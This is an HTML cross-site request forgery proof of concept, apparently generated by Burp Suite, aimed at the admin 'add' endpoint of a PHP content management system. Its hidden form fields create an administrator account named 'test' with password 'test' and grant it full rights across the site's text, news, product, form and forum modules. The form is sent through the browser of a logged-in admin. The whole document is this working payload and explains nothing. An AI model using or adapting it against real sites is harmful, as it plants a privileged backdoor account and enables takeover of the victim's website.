<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/3.gov.php/admin/ajax.php?type=admin&action=add&lang=undefined" method="POST">
<input type="hidden" name="A_login" value="test" />
<input type="hidden" name="A_pwd" value="test" />
<input type="hidden" name="A_type" value="1" />
<input type="hidden" name="A_a0" value="1" />
<input type="hidden" name="A_a1" value="1" />
<input type="hidden" name="A_a2" value="1" />
<input type="hidden" name="A_a3" value="1" />
<input type="hidden" name="A_a4" value="1" />
<input type="hidden" name="A_a5" value="1" />
<input type="hidden" name="A_a6" value="1" />
<input type="hidden" name="A_a8" value="1" />
<input type="hidden" name="A_a10" value="1" />
<input type="hidden" name="A_a7" value="1" />
<input type="hidden" name="A_a9" value="1" />
<input type="hidden" name="A_a11" value="1" />
<input type="hidden" name="A_textauth[]" value="2" />
<input type="hidden" name="A_textauth[]" value="1" />
<input type="hidden" name="A_textauth[]" value="all" />
<input type="hidden" name="A_newsauth[]" value="117" />
<input type="hidden" name="A_newsauth[]" value="115" />
<input type="hidden" name="A_newsauth[]" value="112" />
<input type="hidden" name="A_newsauth[]" value="109" />
<input type="hidden" name="A_newsauth[]" value="7" />
<input type="hidden" name="A_newsauth[]" value="1" />
<input type="hidden" name="A_newsauth[]" value="113" />
<input type="hidden" name="A_newsauth[]" value="110" />
<input type="hidden" name="A_newsauth[]" value="106" />
<input type="hidden" name="A_newsauth[]" value="104" />
<input type="hidden" name="A_newsauth[]" value="107" />
<input type="hidden" name="A_newsauth[]" value="105" />
<input type="hidden" name="A_newsauth[]" value="all" />
<input type="hidden" name="A_productauth[]" value="7" />
<input type="hidden" name="A_productauth[]" value="all" />
<input type="hidden" name="A_formauth[]" value="9" />
<input type="hidden" name="A_formauth[]" value="8" />
<input type="hidden" name="A_formauth[]" value="7" />
<input type="hidden" name="A_formauth[]" value="all" />
<input type="hidden" name="A_bbsauth[]" value="1" />
<input type="hidden" name="A_bbsauth[]" value="all" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
